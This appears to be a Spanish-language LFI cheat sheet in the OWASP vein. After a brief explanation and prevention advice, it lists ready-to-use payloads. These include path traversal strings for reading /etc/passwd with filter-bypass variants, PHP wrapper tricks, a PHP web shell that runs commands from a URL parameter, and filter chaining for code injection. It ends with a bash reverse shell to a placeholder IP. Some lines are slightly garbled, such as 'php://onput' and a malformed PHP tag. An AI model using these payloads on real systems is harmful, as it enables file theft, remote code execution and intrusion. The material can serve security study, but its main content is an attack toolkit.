Local File Inclusion (LFI)
#OWASP10 #LFI
La vulnerabilidad de Local File Inclusion (LFI) es una brecha de seguridad que ocurre cuando una aplicación web no valida adecuadamente las entradas de usuario, lo que permite que un atacante acceda a archivos locales en el servidor web.
Los atacantes suelen aprovechar esta vulnerabilidad al manipular los parámetros de entrada en la aplicación web, utilizando técnicas como el Path Traversal para navegar a través de los directorios del servidor y acceder a archivos sensibles.
Para prevenir los ataques LFI, es fundamental que los desarrolladores validen y filtren correctamente la entrada del usuario, limitando el acceso a recursos del sistema y asegurándose de que los archivos solo puedan incluirse desde ubicaciones permitidas. Además, se deben implementar medidas de seguridad adicionales, como el cifrado de archivos y la restricción del acceso de usuarios no autorizados a los recursos del sistema.
Payloads
Supongamos que estamos atacando a un servidor con la estructura http://localhost?filename=, si existe la capacidad de lectura del servidor, puedes utilizar los siguientes payloads.
../../../../../../../etc/passwd
....//....//....//....//....//....//....//etc/passwd
....//....//....//....//....//....//....//etc//////////////passwd
....//....//....//....//....//....//....//etc///pa??wd
http://localhost?filename=../../../../../../../etc/passwd%00Usualmente los multiples "///" se traducen a uno, y los signos "?" buscan caracteres, en el caso de que existan bloqueos.
Tambien hay alternativas como los null bytes %00
Wrappers
A veces las tecnicas basicas no funcionan y hay que recurrir a metodos mas elaborados, transformando la informacion para que no sea vista de forma explicita por lo validadores.
Convert.base64
php://filter/convert.base64-encode/resource=secret.phpecho "output" | base64 -d; echo
String.rot13
Es una rotacion de 13 caracteres, usando el abecedario como referencia.
cat data | tr '[c-za-bC-ZA-B]' '[p-za-oP-ZA-O]'
convert.iconv.utf8
Cambia de UTF-8 a UTF-16 y esto puede mostrar en texto plano
Expect://
A veces esta habilitado y muestra comando
php://onput
Para que funcione, deberias cambiar de GET a POST, y enviar cosas como <?php system("whoami");>
data://text
Interpretara <?php system("whoami");>, que esta escrito en base64 en el URL, en estos casos se recomienda inyectar <?php system($_GET["cmd"]);> y luego agregar &cmd=whoami para ejecutara comandos (si falla, cambia los '+' a %2b)
Filter Chaining
PHP, cuando codifica y decodifica en base64, ignora todos los caracteres especiales como &_< etc. Esta tecnica tambien se usa para moldear entre varias interpretaciones
Le agrega una serie de caracteres al echo de test, Original: YmFzZTY0 >> Post-echo: CYmFzZTY
Ahora, que es lo interesante, como puedes agregar caracteres mientras vas codificando y decodificando, puedes llegar al punto de inyectar un codigo php que te permita hacer lo que quieras, existe una herramienta llamada php_filter_chain_generator que automatiza el proceso.
Como ejemplo, vamos a inyectar 'Hola', primero debe quedar al reverso como 'aloH'
Y si quiero inyectar codigo?
Ahora usando la utilidad:
Para una reverse shell
localhost/?filename=&cmd=bash -c "bash -i >%26 /dev/tcp/MI_IP/443 0>%261"
Last updated